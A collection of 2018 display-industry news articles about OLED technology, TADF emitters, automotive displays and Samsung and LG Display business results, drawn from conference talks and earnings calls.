[ICEL 2018] TADF attracts attention as next generation emitting material

In addition to monitors and virtual reality devices, OLED is gradually expanding its domain beyond smartphones and TVs, inclusive of the application of side-mirror OLED in automobiles. As new OLED applications are increased in various environments, it is essential to develop technologies to satisfy users.

 

In ICEL 2018, which is being held at Jeju International Convention Center from October 15th, many presenters and attendants emphasized that material development is essential to improve the performance of OLED as the OLED market grows more. As an alternative material, TADF (Thermally Activated Delayed Fluorescence) is mentioned.

 

First, Hwang Seok-Hwan, chief researcher in Samsung Display said that TADF is to be a good resolution as one of emitting materials for new deposition process, referring to the continued growth of OLED panel and material market.

 

 

Hwang said that the efficiency of fluorescent Blue is almost saturated, so 100% luminance efficiency can be obtained theoretically by applying TADF with the advantages of not using expensive rare earth metals. He added that improvement of material stability, improvement of color purity by using boron material, development of host having high triplet energy need to be superseded. 

Also, CYNORA, a leading TADF developing company, disclosed the performance of dark blue TADF developed so far.
 
CYNORA said that the luminance efficiency and color purity of dark blue TADF reached the level that the related companies required, and that its current goal is to develop the technology to improve lifetime. In addition, based on this know-how, the company will quickly develop green and red TADF, and now green TADF has been delivered to several customers as a sample.


 

Merck confirmed that TADF is the most powerful luminescent material to replace fluorescent Blue at its presentation together with a poster about TADF. 
 
OLED companies and research institutes are focusing attention on whether blue TADF can quickly enter OLED market and upgrade OLED performance further.

 


[ICEL 2018] What are the future challenges for LG Display to improve OLED TV performance?

At ICEL 2018, held at Jeju International Convention Center from Oct. 15, Soo-Young Yoon, Vice President and Head of LG Display Laboratory, presented the challenges for the OLED TV performance improvement and price reduction.

 

Yoon said “In 2018, the future prospects of OLED TVs have changed more positively compared to that in 2016. In 2013, only LG Electronics was an OLED TV set maker. The number of OLED TV set makers has steadily increased; ten in 2016, and fifteen in 2018. Many TV set makers are choosing OLED. "
 
He added that although OLED TV is on the track of success with lots of improvement, it has to be further developed. The challenge is the improvement for high brightness, color reproduction rate and with the development of 8K resolution. Also he mentioned that the price reduction is to be necessary.

Yoon explained that the development of components such as driver IC and controller is an important task to develop 8K OLED TV. In order to improve the brightness, color reproducibility, and lifespan, TADF and phosphorescent Blue are to be good alternatives for improving the RGB emitting materials. The enhancement of out-coupling is also important.
 

In addition, he referred to the solution processed OLED as a technology, to compete against LCD TV price, with the necessity of developing inkjet equipment, process, and soluble materials. For this, it is required to develop the ink jet equipment and shorten the process time for mass production, but the performance and reliability of the soluble materials will be more important.

Finally, he commented that the company will focus on 8K OLED TV and rollable OLED TV with the improvement of brightness until 2020. After 2022, the company will develop the OLED TV which has an enhanced brightness of 300 nits or more, a color gamut that satisfies BT.2020, and a lifespan of more than 30,000 hours.

CYNORA announced that it has extended its joint development agreement for TADF commercialization with LG Display.

TADF developer CYNORA has announced that it has extended its joint-development agreement with LG Display. The two companies have been co-developing deep-blue TADF OLED emitters for two years, and have now decided to continue the cooperation towards the commercialization of TADF emitters in OLED displays.

 

The performance of CYNORA’s latest deep-blue material was presented at IMID 2018 held in August of the year. Among the performance introduced, the CIEy is 0.13, the EQE is 20% based on 1000 nits, and the LT97 is 15 hours at 700 nits.

CYNORA CEO Gildas Sorin commented, “Currently, CYNORA focuses on the development of deep blue TADFs for OLED TVs. Through the accumulated know-how to develop deep blue TADF, it also has plans to develop a light blue TADF for lighting applications and a green TADF for displays.”

The golden market for Automotive OLED Displays is approaching.

The display of connected cars is getting bigger and bigger to for the convenience of providing various information. The displays used in general vehicles include the cluster, CID (center information display), RSE (rear seat entertainment), and RMD (room mirror display). In connected cars, various buttons of the center fascia are displayed, and a display is attached to the door using a camera instead of a side mirror. The Audi e-tron®, all-new electric Sports Utility Vehicle (SUV) feature a small side-view OLED display instead of the existing side mirrors. According to Choong-Hoon Yi, CEO of UBI Research, the reason why automobile manufacturers are actively trying to use OLED displays is because OLED can be a good resolution in various aspects such as design, visibility and thickness. Since the side view camera is attached to the door, the viewing angle should be very good for the driver’s eyes. Especially in nighttime driving, black should be accurately represented on the display to make things clearer. In addition, OLEDs with fast response must be used for the mirror of car because the screen needs to be changed rapidly depending on speed of the car (if it is running at a high speed). In winter season when temperatures are low, LCDs with slow response times are not recommendable to be used.

Flexible OLEDs should also be used to mount the cockpit display on the dashboard that maximizes driver’s convenience.

<BenzのF015 cockpit displayとAudiのe-tron side view display>

In contrast, LG Display, the strongest player in the market for OLED TVs, is looking for the display market for clusters and CIDs as flexible OLED with two layers of RGB OLED. Visteon, the second-largest supplier of automotive displays, is preparing for the cluster market with LG Display’s pOLED. Since 12.3-inch p OLED is made of LTPS substrate and its OLED process is more complicated than that of OLED for smartphone, panel prices including module are expected to be equal to 55-inch WRGB OLED, which can create a premium market even if the quantity is small.

<Visteon, 12.3 inches pOLED>

According to “Automotive OLED Display Report” published by UBI Research, the market for automotive OLED displays led by Samsung Display and LG Display is expected to grow to US$ 540million in 2023.

Samsung Display, supplies 7-inch OLED for Virtual Exterior Mirror to Audi

Samsung Display announced on October 3 that the company will be supplying a 7-inch OLED display for Audi’s all-new electric Sports Utility Vehicle (SUV), the Audi e-tron®. The Audi e-tron has attracted attention throughout the automotive industry. One of its highlights are optional* ‘virtual exterior mirrors’ – a ‘first’ for a volume-production car.

Audi’s virtual exterior mirrors feature a small side-view camera instead of the existing side mirrors. The driver can view the images captured by the camera in real time through the OLED display installed between the vehicle’s A pillar (the column next to the front glass) and the door

<Virtual exterior mirror applied to e-Tron, Audi, Source: news.samsungdisplay.com>

The OLED display supplied by Samsung Display is equipped with one camera on each side of the vehicle dashboard, replacing the existing side mirror function, and the built-in touch sensor allows people to zoom in or out on the screen as if to manipulate a smartphone. Audi said the Virtual Exterior Mirror offers a wider field of view without blind spots, compared to a typical side mirror. It provides better visibility even on cloudy days and in dark places, and it provides a ‘view mode’ suitable for each driving situation such as highway driving, rotation, parking, etc for more convenient and safe driving. By eliminating the side mirrors that protrude out of the vehicle, it reduces air resistance and wind noise. Also, slim and beautiful design is possible, reducing the body width by 5.9 inches.

The images seen on the Samsung display that covers each virtual exterior mirror appear natural and distinct with none of the drag effects typically triggered by a slow response rate at low temperatures, while exhibiting outstanding color reproducibility. The Samsung 7-inch OLED display provides Audi e-tron drivers with an ideal visual solution, thanks to its low power consumption and innovatively thin, lightweight design, in addition to its superior imaging.

Jeeho Baek, Senior Vice President of Samsung Display, said “It is inspiring to many that our OLED display is used in Audi’s virtual exterior mirror, demonstrating that Samsung OLED technology is being optimized for cutting-edge automobile systems around the world. We will continue to actively support leading automotive manufacturers in helping them to advance the future automotive market through the use of our OLED display technology with its high resolution, advanced designs and low power consumption.”

OLEDON develops vertical plane source deposition technology for large OLED TV manufacturing

Hwang Chang-Hoon, CEO of OLEDON, which has developed plane-source deposition technology for small & medium-sized OLED and large area OLED, said that it is under development of vertical plane source deposition technology capable of manufacturing ultra-large OLED TVs of 77 inches or larger. Hwang introduced the related technology that it is possible to mass produce OLED TVs of 77 inches or more without the sagging problem of large substrate such as 12th generation (3300 x 4000 mm) substrate when using vertical plane source deposition technology.

According to Hwang, the production yield for 75 inch TVs or larger with the conventional inline type evaporator might be very low due to severe sagging of the substrate and difficult control of many linear sources. To solve this problem, Hwang said that a new 12-generation large-area cluster-type deposition technology is needed, and that vertical plane source deposition technology will be an appropriate alternative.

On the other hand, OLEDON holds the original patents for plane source deposition technology. It also filed a patent related to the curved plane source FMM deposition for high-resolution AMOLED manufacturing, and a patent related to the vertical plane source deposition technology for manufacturing large-area OLED TV.

Apple adopts LTPO TFT to extend battery life time to Apple Watch Series 4

Apple released its Apple Watch Series 4 with enhanced healthcare features on a larger screen than before, in the Steve Jobs Theater at Apple Park in California, USA on September 12.

<Apple Watch Series 4, Source: Apple.com>

In this announcement, Apple brought Apple watch series 4 with a new technology called LTPO to improve power efficiency.

LTPO stands for low temperature polycrystalline oxide. It is a kind of TFT using only the advantages of poly-Si with good charge mobility and IGZO with low power driving. LTPO TFTs have low leakage current and good on / off characteristics, which lowers power consumption and increases battery life.

<Apple’s LTPO TFT patent>

In addition, Apple increased the size of its Apple Watch 4 to 40mm and 44mm. The edge-to-edge screen is 35% and 32% larger than previous models by narrowing the bezel compared to previous models. The screen resolution was 368×448 pixels for the 44mm model and 324×394 pixels for the 40mm model. The display of Apple Watch4 is a plastic OLED made by LG Display with a maximum brightness of 1,000 nit. The Apple Watch Series 4 starts at US$399 for GPS model, while the cellular model starts at US$499. The Apple Watch Series 4 is available for pre-order from Septmber14 in the U.S. with the availability beginning September 21.

[IMID 2018] Can Blue TADF and Hyperfluorescence meet both efficiency and lifetime?

At IMID 2018 in Busan, BEXCO on August 31, Junji Adachi, CEO of Kyulux disclosed the performance of hyperfluorescence, which adds TADF dopant to the existing fluorescent host and dopant.

The color coordinates of the yellow hyperfluorescence revealed by Junji Adachi are (0.49, 0.50), the FWHM (Full Width at Half Maximum) is 76 nm, the EQE is 15.7% on 1000 nit basis, and the LT50 is 62,000 hours by 1000 nit. And the color coordinates of the green hyperfluorescence are (0.28, 0.65), the FWHM (Full Width at Half Maximum) is 31 nm, the EQE is 20.6% on 1000 nit basis, and the LT50 of 1,000 nit is 48,000 hours.

Junji Adachi also revealed the performance of Blue hyperfluorescence, which is currently under development. The maximum emission wavelength of the blue hyperfluorescence is 470 nm, the EQE at 1000 nit is 22%, and the LT50 at 750 nit is 100 hours. In particular, he predicted that the performance of Blue hyperfluorescence would be further improved in the future, saying that it began to improve rapidly in the first half of 2018.

In the following announcement, Dr. Georgios Liaptsis of CYNORA explained about the deep Blue under development, emphasizing that the wavelength should be 460 nm and the CIEy should be within 0.15. He revealed its performance, adding that CYNORA has been carrying out the necessary research to make the lifetime of deep Blue as long as that of sky Blue even with phenomenon that the life span is getting longer as the Blue goes closer to the sky Blue

Fluorescent blue is currently used for the Blue of all OLED applications. Attention is growing whether Blue TADF or Blue Fluorescence can be commercialized to realize better efficiency and lifetime than existing fluorescent blue.

[IMID 2018] Samsung Display, The key material that will connect the smart world and the individual in the future is the display

At IMID 2018 held in BEXCO, Busan, Korea on August 29, Kwak Jin-Oh, vice president of Samsung Display, delivered a keynote speech on the theme of ‘The Infinite Evolution with Display’. He emphasized “Display will be the key material to link to the smart world and the creation of a new world and environment will be accelerated.”

Comparing the evolution of living things with the evolution of displays, Kwak pointed out the direction of the next-generation displays such as ‘size diversity from small to large size, adaption in design inclusive of full screen and flexible, and convergence with other technologies’.

In terms of size diversity, Kwak said, “High-resolution displays that can feel realism in small and medium-sized area, and displays that can be immersed like a big screen in a movie theater in large area, are required.”

The design adaptation then was referred to design autonomy as one of the values of next-generation displays. He further emphasized the value of rollable and stretchable displays as well as foldable displays in small and medium sized displays.

Kwak said that Samsung is developing rollable displays as well as foldable displays that are currently attracting great interest. Unlike foldable display, rollable display requires consideration of the stress on the front of the panel. He commented “Because there are many things to consider such as the time when it is rolled up, and the number of times it is rolled and unrolled, the company is conducting research to solve them.”

He also introduced a stretchable display that can implement patterns freely, and explained that it is developing various structures using RGB pixel unit and stretchable unit to implement displays that have high reliability with low stress.

Mentioning about biotechnology at the convergence area, he pointed out that new fusion technologies need to be considered such as measurement of oxygen saturation by transmitting light to hemoglobin or changes in the wake up mode and sleep mode of the display depending on the melatonin change.

Finally, Kwak concluded that display is evolving to create a new society and environment, emphasizing that display is the key material to link between the individual and the smart world in the forthcoming 5G era.

[IMID 2018] LG Display, showcased 2-stack RGB OLED for automobile OLED with improved life span.

At IMID 2018 held in BEXCO, Busan on August 29, Kim Kwan-Soo, research fellow of LG Display presented about a new OLED technology for automotive displays.

Kim said that RGB OLEDs applied to mobile devices and WRGB OLEDs applied to TVs do not satisfy customers’ needs in terms of life span. To solve this issue, he introduced 2 stack RGB OLED in which RGB OLED has the same tandem structure as WRGB.

Because 2 stack RGB OLED can be thick due to adding a layer of CCL (charge generation layer) to the multi-layer structure, HTL is made thinner than before and the charge balance of the emitting layer is optimized.

As a result, the 2-stack RGB OLED shows 1.5 ~ 2 times higher emitting efficiency than the 1-stack RGB OLED. Its lifetime is increased by 4 times on T80 basis.

However, the 2-stack structure has a disadvantage in that it has higher power consumption than the general structure. Thus, it is necessary to make efforts to solve this disadvantage.

[IMID 2018] LG Display and Samsung Display exhibited a large number of large, and small & medium sized OLED applications.

LG Display and Samsung Display introduced a number of applications using OLED at IMID 2018 held in BEXCO, Busan, drawing attention from many visitors. In particular, LG Display displayed its strategies mostly for large OLED applications such as 77-inch transparent OLED and 55-inch video wall OLED, while Samsung Display introduced the small and medium sized OLED applications mainly for automotive and virtual reality devices.

First, the panel thickness of the 77 inch transparent flexible OLED introduced by LG Display is 400 μm, the bending radius is 80 mm, and the luminance is 200 nit based on full white.

LG Display explained that it would improve the required transmittance and durability. Also, it commented that the goal is to reduce bezel to 0.5 mm at its display of 4 FHD OLEDs with 3.8 mm bezel.

In addition, LG Display presented a 1200ppi 4.3-inch WRGB OLED for virtual reality devices. One official explained that WRGB OLED, which represents the resolution by etching the color filter, would be advantageous for higher resolution than RGB using the deposition method.

Meanwhile, Samsung Display exhibited a number of automotive OLEDs, including unbreakable OLED for 6.22 inch steering wheel, 1000R curved OLED for passenger monitor, transparent OLED for HUD, S-curved OLED for CIO and rollable OLED. The concerned official expects the OLED to be widely applied to inside automobiles because it has excellent design autonomy, compared to LCD.

He added “Although there are many things to be improved, such as brightness and reliability, it is continuously improving the required performance through the feedback from European customers”.

Furthermore, Samsung Display showcased light field display and 2,000ppi resolution RGB OLED for virtual reality devices.

[IMID 2018] OLEDON, developed ‘curved plane source FMM deposition technology’ for 2250ppi AMOLED for the first time in the world

OLEDON is a company which develops plane source deposition technology for high resolution AMOLED manufacturing. Hwang Chang-Hoon, CEO of  OLEDON announced in IMID 2018 that it developed ‘curved plane source FMM deposition technology’ that can be adopted to 2250ppi AMOLED pixels, for the first time in the world.

Conventional linear source FMM deposition technology has a shadow distance of 3um. The available production range is 570ppi AMOLED resolution. On the other hand, the plane source deposition technology already demonstrated in OLEDON can achieve a resolution of 800 to 1200 ppi of AMOLED with a shadow distance of 0.8 to 1.5 μm. Meanwhile, the newly developed ‘curved plane source FMM deposition technology’ is an upgraded technology of the plane source deposition technology which can realize the maximum resolution of AMOLED to 2250ppi with a shadow distance of 0.18 ~ 0.6μm.

The principle is that light is gathered through a concave mirror, a curved surface is applied to the conventional flat plane source, and the light emitting material does not spread, but is precisely deposited at a desired position, thereby reducing the shadow distance.

If this technology is commercialized, it is expected that it can be widely applied not only to mobile devices but also to virtual reality devices.

JOLED raised 47 billion yen to spur solution process OLED business for automobiles.

JOLED, the world’s first to successfully commercialize solution process OLED products, announced that it had raised a total of 47 billion yen as a third-party capital increase.

According to JOLED, Denso will invest 30 billion yen, Toyota Tsusho 10 billion yen, Sumitomo chemical 5 billion yen and SCREEN Finetech Solutions 2 billion yen. JOLED is known to cooperate with Denso to develop automotive displays and Sumitomo chemical to develop OLED materials for solution process.

In particular, Denso has been mainly using TFT-LCD for automotive displays, but it is expected to lead the development for applying lightweight and easy-to-shape OLED to automobile interior through this investment.

It is expected that this funding will accelerate the establishment of production system for the mass-production of JOLED’s solution process OLED. JOLED announced on July 1 that it would set up a “JOLED Nomi Office” in Nomi-city, Ishikawa, and aim to operate in 2020.

Major production products are medium-sized (10 to 32-inch) solution process OLEDs that will be used for cars or high-end monitors. Also, Toshiaki Arai, chief technologist of JOLED announced that they would target the middle-sized OLED market with solution process OLED, at the 2018 OLED Korea conference hosted by UBI Research in March.

 

Fingerprint full-screen smart phones begin to compete

<Vivo’s full screen smart phone with in-display fingerprint scanner, Android authority>

The competition for front fingerprint recognition of smart phones is expected to become hot.

In the smart phone with the existing home button, the front fingerprint sensor was installed on the home button. Fingerprint security enhances security, but recently, full screen Smartphone without home button has been released and fingerprint sensor has been moved to the back of Smartphone. This has caused disadvantages such as an uncomfortable hand shape when touching a finger to the fingerprint sensor and fingerprints on the camera lens.

In order to improve these points and to implement a complete full-screen Smartphone, the development of integrating full-screen fingerprint recognition with display is continuing.

The method of full-screen fingerprint recognition is largely examined by both optical and ultrasonic methods. The optics are inexpensive and easy to mass-produce, but the OLED substrate must be transparent because the sensor is to be located below the OLED panel. Therefore, it is applicable to rigid OLED using glass as a substrate, but it is difficult to apply to flexible OLED using colored PI as a substrate. The ultrasonic method is most stable in accuracy and durability, but it has a disadvantage of high manufacturing cost.

Currently, Chinese set makers have begun to launch smart phones with optical front fingerprint recognition. The Galaxy S10, which will be released next year by Samsung Electronics, is being watched for the adoption of ultrasonic full-screen fingerprint recognition. LG Display is also developing a display with front fingerprint recognition.

As such, the sales for full-screen smart phones with front fingerprint recognition are expected to be started in earnest. Competition in the smartphone market is expected to become more intense in the second half.

Samsung Electronics, Display Business division’s operating profit in the second quarter of 2018 was KRW 140 billion.

Samsung Electronics announced its sales of KRW 58.48 trillion and operating profit of KRW 14.87 trillion through the earnings conference call of the second quarter, 2018 on July 31. Its sales decreased by 4% YoY and the operating profit increased by KRW 800 billion. Sales decreased 3% QoQ and operating profit fell by KRW 800 billion QoQ.

According to Samsung Electronics, the display panel business recorded sales of KRW 5.67 trillion and operating profit of KRW 140 billion, due to slowing demand for flexible OLED panels and declining sales of LCD TV panels. Despite improved utilization of rigid OLED, OLED division’s earnings declined QoQ due to continued weak demand for flexible products.

Competition with LTPS LCD is expected to intensify at rigid OLED in the second half of 2019, but earnings are to improve on increased sales following the recovery of flexible product demand. Sales and operating profit are projected to improve in the second half on the back of production of flexible OLED for Apple’s new iPhone models from 2Q.

Samsung Electronics plans to expand its share of OLEDs for mobile devices by strengthening its differentiated technology and cost competitiveness, and to strengthen its capacity for new products such as foldable OLEDs. Samsung official said that foldable OLED will contribute to growth from next year rather than immediate performance in the second half of the year.

IT • Mobile (IM) division posted sales of KRW 24 trillion and operating profit of KRW 2.67 trillion. Operating profit fell 34.2 percent from KRW 4.06 trillion in the same period a year ago, and also fell sharply from the previous quarter (KRW 3.77 trillion). In 2Q, handset sales reached 78 million units, of which 90% are smart phones. 5 million units of tablet were sold. The average selling price (ASP) of the handsets is in the second half of US$ 220. The Consumer Electronics (CE) division posted sales of KRW 10.4 trillion and operating profit of KRW 510 billion in the second quarter of the year. Overall sales and operating profit of the first half of the year were KR W 20.14 trillion and KRW 0.79 trillion, respectively. TV profits improved thanks to robust sales of high value-added products such as QLED TVs amid the global sports events. On the other hand, SEC’s facility investment in the second quarter was KRW 8 trillion. By business, semiconductor area accounted for KRW 6.1 trillion and KRW 1.1 trillion was invested for display area. In the first half, a total of KRW 16.6 trillion was invested; including KRW 13.3 trillion in semiconductors and KRW 1.9 trillion in display.

LG Display, Showed OLED lighting for unmarried mothers

LG Display delivered 30 OLED lighting units, made by its employee volunteers, and baby products to 30 unmarried mothers.

This volunteer activity was carried out by the talent services of OLED lighting employees. OLED lighting business division donated 30 flexible OLED lighting panels, and the product planning team customized the lightings for breastfeeding for unwed mothers.

On July 27, the employee volunteers assembled light fixtures, which were customized by woodworking parts through social enterprises, and panels as finished products. In addition, various items needed for a baby and cheer letters for the unwed mothers were packed together. The packaged gift sets were delivered to 30 unmarried mothers living at the unmarried mothers’ facilities through the Eastern Social Welfare Society on July 30.

OLED lighting reduces light flickering and blue light, which affect eye health. And its mild light protects you from eye fatigue. It is also regarded as an eco-friendly product because it generates less heat and has no harmful substances. Since it is the organization that best knows the characteristics of OLED lighting, it suggested the service of delivering the OLED lighting for breastfeeding, made by its members, suitable for the baby-care environment.

Kim Yong-Jin, manager of the OLED lighting sales team who participated in the volunteer service, said “I feel it was worthwhile to deliver the OLED lighting directly to the necessary neighbors although I have dealt with it for business. When I see the neighbors who were delighted with little help, I have to think once again that service activity is so much fun.

<Source: LG Display>

LG Display “Strategic direction is OLED. Uncompetitive LCD lines are planned to be switched.”

In the 2Q earnings release conference call hosted on the 25th July, Kim Sang-don, LG Display CFO, said, “Looking back at the first half of 2018, the market was in a difficult situation due to the slump in prices, the traditional off-peak season and increased display supply from China. We expected the market conditions to be stabilized in the first half of this year from the bad market condition of the second half of last year, but it has continued to decline more rapidly and steeply. However, with starting the second half of 2018, it has been observing that the price is rising since July owing to upcoming favorable seasonality and customer restocking.”

“Although the market situation has changed favorably in the second half of the year, it is different from the past supply and demand cycle because of the uncertainty of forecasts. Moreover, the oversupply and asymmetric competition in the display market are unavoidable.” LG Display announced that it will maintain its conservative strategy in the second half of the year as the unpredictability is still high.

LG Display’s sales revenue in the second quarter of 2018 was KRW 5,611 billion, decreased by 15% compared to the second quarter of 2017. Operating loss in the second quarter of 2018 recorded KRW 228 billion. This compares with the operating loss of KRW 98 billion in the first quarter of 2018 and the operating profit of KRW 804 billion in the second quarter of 2017. The company suffered a large deficit due to a continued and steep decline in panel prices and lower demand in panels following the previous quarter. Although the shipment was increased by 2% QoQ, the selling price per area (m2) was decreased by 4%.

As a positive indicator, the TV panel price fell sharply, but the overall panel price decline was only 1% due to the competitive position of OLED panels. The market is anticipated to turn into positive situation in the third quarter, compared to the first half of the year, since panel shipments are expected to increase with the orders to restock the inventory.

LG Display, which is currently conducting both LCD and OLED business with small and medium sized panels and large area panels, mentioned clearly about its future strategic direction including the direction for the second half of the year as “concentrating on OLED business and focusing on high value of LCD business” in this conference call.

LG Display announced that it will focus more on differentiated LCD features and technologies in the IT sector such as narrow bezel, IPS borderless, and oxide technology, as well as high-value-added products such as larger-size TV panels and commercial displays, considering that a structural oversupply in panels and fierce competition among display makers are expected to continue down the road.

In addition, LG Display will achieve a turnaround to profit in the OLED TV sector in the third quarter of 2018. By making its final decision to invest in its Gen 10.5 OLED panel production line in Paju, Korea, and by starting mass production in the latter half of 2019 at its Gen 8.5 OLED production line now under construction in Guangzhou, China, LG Display will accelerate the expansion of the global large-size OLED market. Furthermore, additional production facilities for OLED 8.5 generation are known to be considered with the plan that the rationalization of LCDs during the year is also to be implemented although there was no direct mention of the timing and specific lines. For the plastic small and medium-sized OLED panel business, which is experiencing difficult times, compared to large area OLED, for which LG is expanding the production capacity in response to increasing demand, it said that they are preparing for future markets with the necessary strategic technologies with the emphasis of mobile and automotive markets. The E6-1 line, which has been mentioned as a production plant for Apple, is expected to begin mass production in the fourth quarter of this year, revealing the possibility of a possible supply of display to the iPhone OLED model in 2018. In addition, demand for OLED panels is increasing in the automobile market, and it is expected that full-scale business will start in the second half of next year. At the current order backlog, it is confirmed that OLED panels are in the late stage of about 10%. This means that much of the work has already been done. Finally, LG Display is well aware of the lack of funding and funding shortfalls over its competitors in relation to its future preparations. The company plans to reduce its capex by about 3trillion won by 2020, with a substantial portion of depreciation and amortization It is possible through internal working capital management and it plans to borrow the rest. LG Display confirmed that it has not reviewed the rights issue several times in the market, and LG Display has thoroughly prepared a variety of OLED portfolios, revealing its commitment to success by differentiating it from its competitors in the area of latecomers.

FlexiGO, developed the durability test equipment capable of accurate evaluation for foldable materials

With the recent announcement that Samsung Electronics and Huawei are aiming to launch smart phones with foldable OLED, folder-type smartphones are drawing attention.

 Display companies are converting glass materials used in the existing substrates and cover windows into plastic materials. Consequently, the durability of plastic materials is becoming an important issue.

There are various types of durability tests, but the most typical durability inspection is the folding test. The folding test is an experiment that repeatedly bends and unfolds the foldable materials including plastic. Typically, a mechanical device is used for pivoting the rotating plate after fixing some part of the foldable material to the fixed plate and fixing the other remaining part to the rotating plate. However, in the conventional devices, the axis of foldable material is different with that of the rotating plate, the foldable material moves along the rotation path of the rotating plate, not the original rotation path of the material. Thus, there is a possibility that a tensile force acts on the folder material. To solve this problem, FlexiGO recently developed Foldy series, new durability test equipment to test foldable materials.

<FlexiGO’s folding test equipment, Source: flexigo.co.kr>

In addition to the conventional fixed plate and rotating plate, the Foldy series adds a motion controller that supports the fixed plate to move forward and backward for the foldable to be moved only through the original rotation path, so that no other stress is applied to the material. As a sliding device is mounted on the motion controller, the fixed plate moves forward and backward, and the rotating plate performs a rotary motion so that the foldable material can slide on the rotating plate.

The Foldy series includes micro vision, surface profiling, and colorimeter. Foldy-10 and Foldy-100 products can be adopted for the durability test in different test environments. In addition, it is possible to mount an additional inspection system, so it is expected that the accurate durability test of various accurate foldable materials is to be possible.

8K OLED TV, Can we see it in the second half of the year?

 

Competition in the premium TV market is expected to be cutthroat.

The market share of OLED TV is on the rise in the premium TV market due to Sony’s entry into the OLED TV market and LG Electronics’ aggressive price cuts. However, LCD camp is responding with 8K high-resolution strategy, and attention is focused on whether it can prevent the rise of OLED in the premium TV market.

Sharp has already started selling 8K LCD TVs for the first time in the world since last year. Samsung Electronics showcased 8K TV at CES earlier this year, and will launch 8 K QLED (QD-LCD) products in the second half of the year. In the OLED camp, LG Display exhibited 88inch 8K OLED TV at CES, but the launch of 8K OLED TV in the second half is still unknown.

OLED TVs, which are currently in mass production, are based on bottom emission type. Thus, the light is emitted from the remaining portion of the pixel except the TFT region since the light is emitted through the TFT. Therefore, in the same size TV, as the resolution increases, the pixel size becomes smaller, but the area where the size of the TFT is reduced is limited, so that the area where the light is emitted becomes narrower. Consequently, in order to realize a high resolution at the same size, it is necessary to broaden the aperture ratio as much as possible or improve the performance of the emitting materials.

 

As a way of increasing the aperture ratio, there is a method of applying a top emission structure. Since the top emission structure emits light in the encapsulation direction, not the TFT direction, it can secure a wider aperture ratio than the bottom emission. However, there are pending problems that the encapsulation using opaque metal sheet should be changed to a transparent material and the color filter should be formed above the encapsulation with the change of the process.

The development of TADF blue and new blue materials is actively underway in the emitting material side.

The 88inch 8K OLED TV released by LG Display is made with a bottom emission structure and its ppi is about 100, which is about 20% higher than 80 ppi of the 55inch 4K currently being sold. When the pixel size is compared with the whole display size, the 55 inch 4K pixel is calculated to be about 40% wider than the 88inch 8k pixel.

In order to achieve the same level of brightness and lifetime as 55inch 4K, it is necessary to optimize the TFT design and improve the performance of the emitting materials to make up for the 40% decrease in pixel size. The industry is paying attention to whether the 8K OLED TV will be launched, with resolving above-mentioned issues, against the 8K LCD TV, which is expected to be released in the second half of the year.

The second half of 2018 just started, Chinese OLED panel makers are chasing Korea. Where are they?


작성자: 오하나 (Analyst, hanaoh@ubiresearch.com)
The display industry has been in a state of confusion by the recent leaking of OLED display panel production technology into China.

As of 2018, five companies (BOE, Everdisplay, Tianma, Truly, and Visionox) have OLED production lines in China, among which only BOE has a line that can produce OLED displays (“Plastic OLED”) using plastic substrates, applied to the premium smart phones such as Samsung Galaxy and Apple’s iPhone. Other panel makers are building lines to produce plastic OLED displays targeting mass production this year and next year.

Monthly production capacity planned by Chinese panel makers by the end of 2020 is about 250K, which is more than the monthly production capacity of Samsung Display (about 180K). If China produces a similar level of panels through mass production, it is clear that Korea cannot defeat China in terms of production costs. The main application of the 6G plastic OLED display is a smart phone; however, the global Smartphone market has slowed down since 2015, especially in the premium Smartphone market, there seem no new markets. If mass applications such as smartphones are not developed, panel makers that do not have cost competitiveness will be hard to survive due to a large oversupply in the near-term and falling panel prices.

Korea is evaluated to have a considerable technical advantage since the production of plastic OLED displays requires a high level of technology and process know-how for the time. However, the industry expects that Chinese government’s support for the panel makers with the background of capital as part of the “China Manufacturing 2025” strategy, will shorten the technology gap quickly.

Chinese panel makers ahead of their mass production by 2019 are also reported to be more aggressively scouting Korea’s major OLED engineers. There are about 100 Korean OLED engineers in Chengdu (B7) plant that produces plastic OLED display of BOE. GVO is also known to have recently hired some important OLED engineers with high salaries. CSOT, which has been known to suffer difficulties from the initial research stage, seems to be expediting the construction of mobile OLED production line, employing Korean OLED engineers at major processes from last year. In addition, HKC, which is not a panel maker, is reported to have hired OLED engineers. This is interpreted as a work for investing in the OLED production line of HKC which has only LCD line, and HKC has recently been named as the merger of TIANMA OLED division.
As of 2018, there are no panel makers in China that can produce OLED display panels at the level produced by Korean panel makers. Although the production capacity and sales structure of Chinese panel makers are different from those of Korea, it is difficult to define yields on the same basis. However, the yield of BOE’s Chengdu (B7) plant, known as the mass production line, is still investigated as a single digit. Other panel makers also expect the product quality and yield problems to be difficult to be resolved by the first half of 2019 even if the mass production lines are launched within the year.

In order for the display industry, which contributes significantly to the Korean economy, to maintain its dominant position in the global display industry, it must maintain its competitiveness through various product development, production and sales strategies. Meanwhile, the size of the display industry needs to grow for the growth of the worldwide OLED industry. In order for Chinese panel makers to supply OLED panels with diverse applications, securing the yield might be the key.

LCD Smartphone is 4K era, what about OLED Smartphone?

In the past MWC 2017, Sony unveiled the world’s first Smartphone with 4K LCD and it is scheduled to release the Xperia XZ2 Premium with 4K LCD on July 4. Attention is growing whether 4K resolution market is to be launched in earnest in smartphones.

<Xperia XZ2 Premium of Sony, Source: theverge.com>

TV market is already moving beyond the 4K to the 8K. Samsung Electronics and Sharp released new TVs with 8K resolution in the first half and Sony plans to release 8K TVs in the second half. LG Display also exhibited 88inch 8K OLED TV at CES 2018. As such, 8K TV is entering the premium TV market, and smart phones are expected to increase the number of products with 4K resolution in response to the higher resolution of TVs.

In the Smartphone, 4K has been implemented in LCD; however, in the case of OLED, QHD resolution is still dominant for the 4 consecutive years.

<Resolution change of Samsung Galaxy series, Source: UBI Research DB>

This is because there are many restrictions on the fine metal mask (FMM) technology that is being applied to OLED manufacturing. The thickness of FMM applied to the current production is about 20 ~ 30um. For 4K fabrication, the thickness should be as thin as 10um, but it is difficult for existing FMM manufacturing method.

As a result, FMM replacement technologies are being developed for high resolution implementation. Typical technologies under developing, include laser FMM patterning with laser, electroforming manufactured by electroplating method, a fine hybrid mask that is used to form a frame by electroplating on a film and pattern the film with a laser, and a surface source that realizes a high resolution by vertically setting the deposition incident angle.

